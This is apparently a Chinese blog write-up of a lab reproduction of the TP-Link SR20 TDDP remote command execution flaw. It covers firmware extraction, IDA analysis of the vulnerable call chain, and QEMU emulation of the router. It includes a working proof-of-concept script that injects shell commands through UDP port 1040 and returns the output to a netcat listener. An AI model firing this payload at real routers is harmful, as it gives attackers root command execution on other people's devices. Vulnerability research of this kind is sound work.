最近看到合天网安实验室上线的TP-Link sr20本地网络远程命令执行漏洞复现的实验,就跟着实验指导书跑了一下,就顺便在自己的虚拟机上搭环境复现一遍,水一篇笔记好了(搭环境真是太折磨人了or2
实验在ubuntu18.04下完成
tddp协议
tddp协议是一个TP-Link申请过专利的调试协议基于udp协议,有v1,v2两个版本,可以从从官网下载存在漏洞的v1-180518版本固件”SR20(US)_V1_180518.zip”
TP-Link SR20 设备运行了 V1 版本的 TDDP 协议,V1 版本无需认证,只需往 SR20 设备的 UDP 1040 端口发送数据,且数据的第二字节为
0x31时,SR20 设备会连接发送该请求设备的 TFTP 服务下载相应的文件并使用 LUA 解释器以 root 权限来执行,这就导致存在远程代码执行漏洞
环境准备
qemu
可以使用apt install qemu 直接安装
或者从官网下载最新版
wget https://download.qemu.org/qemu-3.1.0.tar.xz # 下载源码
tar xvJf qemu-3.1.0.tar.xz #解压源码压缩包
cd qemu-3.1.0 # 进入源码目录
./configure --target-list=arm-softmmu --audio-drv-list=
# 编译前配置,只编译ARM版的QEMU来加快编译速度
make
下载时出现了错误
ERROR: pixman >= 0.21.8 not present.
$apt-cache search pixman
libpixman-1-0 - pixel-manipulation library for X and cairo
libpixman-1-dev - pixel-manipulation library for X and cairo (development files)
$apt-get install libpixman-1-dev
安装pixman解决
编译完成后安装 checkinstall 来生成 deb 包
sudo apt-get install checkinstall # 安装 checkinstall
sudo checkinstall make install # 使用 checkinstall 生成 deb 包并安装
如果不使用 checkinstall,直接sudo make install的会把 qemu 安装在多个位置,如果发生错误不方便删除,所以使用 checkinstall 生成 deb 包方便安装和卸载。
binwalk
sudo apt install git
git clone https://github.com/ReFirmLabs/binwalk
cd binwalk
python setup.py install
sudo ./deps.sh # Debian/Ubuntu 系统用户可以直接使用 deps.sh 脚本安装所有的依赖
PS: 本人在最后一步运行
deps.sh安装依赖的时cramfstools编译出错导致安装失败,如果你也遇到这个问题,不必理会,因为针对本文讲述的漏洞,这个包并不需要安装
我也遇到了cramfs-tools安装失败的问题,但是既然不影响,就不管它
nmap
apt-get install nmap
poc.py
这里还是使用合天网安的poc
from pwn import *
from socket import *
import sys
tddp_port = 1040
recv_port = 12345
ip = sys.argv[1]
command = sys.argv[2]
s_send = socket(AF_INET,SOCK_DGRAM,0)
s_recv = socket(AF_INET,SOCK_DGRAM,0)
s_recv.bind(('',12345))
payload = '\x01\x31'.ljust(12,'\x00')
payload += "123|%s&&echo ;123"%(command)
s_send.sendto(payload,(ip,tddp_port))
s_send.close()
res,addr = s_recv.recvfrom(1024)
print res
实验
获取文件
将固件解压
unzip 'SR20(us)_v1_180518.zip'
使用binwalk提取固件中的文件系统
binwalk -Me tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin
提取出来的squashfs-root就是固件的文件系统
进入文件系统中使用find命令查找存在漏洞的tddp文件
find ./ -name tddp
file命令查看tddp文件类型
file ./usr/bin/tddp

可以看到这是arm架构32位小端elf文件
ida分析文件
将tddp文件放在ida中分析,打开字符串窗口

查找关键字符串”cmd”

双击跳转查看交叉引用列表一遍可以发现.rodata:00019398 0000001F C [%s():%d] TDDPv2: Special cmd\n之后的字符串都被同一个函数调用

随便双击跳转到一个字符串,按x查看交叉引用函数

点击”OK”跳转到引用字符串的函数

f5查看伪代码,进入函数sub_15e74中

漏洞点在函数sub_9c24中,在switch的case 0xa分支

进入sub_9c24

继续跟进sub_91dc

- 我们知道32位系统的函数调用是将参数从右往左压栈,而栈是从高地址往低地址增长,所以在栈上保存参数的最低地址处保存的就是第一个参数,也就是图中的a1,而
void va_start(va_list ap, last_arg)函数可以将last_arg用于初始化va_list类型变量ap,让它指向可变参数表里面的第一个参数,利用最后一个入栈的参数的指针来获取其余的参数,这种传参办法再printf、scanf、等函数中经常见到 int vsprintf(char *str, const char *format, va_list arg)则将a1中的内容经过arg附加参数中指定的值替换,并按需求进行格式化,保存到str中- fork函数会创建一个子进程,在子进程中会返回0,而在父进程中则返回子进程的ID,所以这里用来判断子进程还是父进程从而执行不同的操作
在子进程这里有个execve系统调用,双击argv查看栈空间

可以看到v4,v5,v6都在argv的高地址处
而这里的v4


其实是作为字符串”-c”的地址
相当于实现下面这个小demo的系统调用,即以s字符串为路径运行一个新的进程
#include<unistd.h>
int main(void){
char *s;
char *envp[]={0,NULL};
char *argv[]={"sh","-c",s, NULL};
execve("/bin/sh",argv,envp);
return 0;
}
fork + execve 也是一般实现执行新进程的方式
而这里的s是经过处理以后的sub_91dc函数的第一个参数a1,也就是说只要我们能控制a1,就能实现命令执行
但是这里sub_91dc函数的a1参数是固定的
查看sub_91dc函数的交叉引用列表

有一个sub_a580函数,发现sub_a580函数也在sub_15E74函数的swtch的case 0x31分支中被调用

进入sub_a580函数,可以看到在调用sub_91dc之前,调用了一个sscanf函数

int sscanf(const char *buffer,const char*format,[argument ]...);函数用于从buffer中检索数据,依照format的格式将数据写入到argument里,也就是字符串v21经过检索后将字符串保存到字符串s中,后面又将s按”%s”格式接入”cd……“字符串中作为第一个参数调用sub_91dc
这里用正则表达式过滤了’;’,关于正则表达式的知识可以看这里
往前找v21是怎么来的

在第31行看到,v21是v10的地址往后45083字节,而在第23行看到v10就是sub_a580函数的参数a1
回到sub_15e74函数,可以看到sub_a580函数的参数是v8,而v8就是sub_15e74函数的参数a1
查看sub_15e74函数的交叉引用列表

跳转到sub_16418,可以看到sub_15e74函数第一个参数是v16

而在34行,recvfrom函数中使用了v16
ssize_t recvfrom(int sockfd,void *buf,size_t len,unsigned int flags, struct sockaddr *from,socket_t *fromlen);
recvfrom()用来接收远程主机经指定的socket传来的数据,并把数据传到由参数buf指向的内存空间,参数len为可接收数据的最大长度.参数flags一般设0,其他数值定义参考recv().参数from用来指定欲传送的网络地址,结构sockaddr请参考bind()函数.参数fromlen为sockaddr的结构长度.
对应着32行代码,可知v14+45083就是原型中的buf,用于接收socket传来的数据。那么就定位到源头了,既然是从socket接收的,那么就是我们可控的。
而这里调用的recvfrom函数中,buf参数就是v14+45083,也就是说接收到的数据储存在v14+45083地址处
现在的函数调用关系是
sub_16418->sub_15e74->sub_a580->sub_91dc
每个函数的第一个参数a1都是上一个函数的第一个参数a1,直到sub_16418函数中的v16
而在sub_15e74函数中的swtch条件变量是a1[45084]

而在sub_A580函数中的v21和v15都是v10+45083

也就是说,如果构造payload前两个字节是”\0x1\0x31”,就可以只让v21指针后移12位,再被sscanf函数检索、再作为后面sub_91DC函数的参数
所以只要在payload中再填充12位的字符
payload = '\x01\x31'.ljust(12,'\x00')
然后就是我们要注入的代码
payload += "123|%s&&echo ;123"%(command)
就可以执行command变量中的命令
上图中需要注意分号;之后还需要填充字符,因为在使用sscanf函数进行分割后会判断分号后面的内容是否为空
qemu模拟实验环境
从debian官网下载模拟时需要用到的Debian ARM 系统的三个文件
vmlinuz-3.2.0-4-vexpress 2013-09-20 18:33 1.9M
debian_wheezy_armhf_standard.qcow2 2013-12-17 00:04 229M
initrd.img-3.2.0-4-vexpress 2013-12-17 01:57 2.2M
把三个文件放在同一个目录下

使用tunctl命令添加一个虚拟网卡,用于与虚拟机通信
apt install uml-utilities
tunctl -t tap1 -u root
使用ifconfig命令为添加的网卡配置IP地址
apt install net-tools
ifconfig tap1 10.10.20.1/24
启动qemu
qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic -net tap,ifname=tap1,script=no,downscript=no -nographic
用户名/密码 = root/root
进入虚拟机

查看ip地址

可以看到还没有分配ip地址,debian系统里手动分配ip地址
ifconfig eth0 10.10.20.2/24
此时debian系统里什么也没有,打开一个shell,用scp命令将文件系统上传到debian系统
scp -r /root/Desktop/router/tplinksr20/_tpra_sr20v1_us-up-ver1-2-1-P522_20180518-rel77140_2018-05-21_08.42.04.bin.extracted/squashfs-root root@10.10.20.2:/root/
可以在debian系统看到上传成功了

使用chroot切换根目录固件文件系统
这里注意,使用 chroot后,系统读取的是新根下的目录和文件,也就是固件的目录和文件。
chroot 默认不会切换 /dev 和 /proc, 因此切换根目录前需要先挂载这两个目录
mount -o bind /dev ./squashfs-root/dev/
mount -t proc /proc/ ./squashfs-root/proc/
chroot ./squashfs-root/ sh
这样就切换根目录为文件系统的根目录了

debian系统里输入tddp启动服务
tddp
在ubuntu用nmap 10.10.20.2命令扫描debian系统并不能扫到tddp对应的1040端口,可以用下面的命令
nmap -p 1040 -sU 10.10.20.2
可以看到1040端口是打开的

运行poc.py,后面分别是debian的ip以及要执行的命令,但是执行后回显是在debian上的
python poc.py 10.10.20.2 date
在debian上可以看到命令执行后的效果

可以通过nc将结果回显在本地
再打开一个shell,nc -nvl 10.10.20.1 6666监听6666端口,debian系统重新打开tddp

执行poc脚本

回显到监听窗口,成功复现
查找资料的过程中发现还有一种利用lua的思路,但是太菜没学过web,就没仔细研究
参考资料: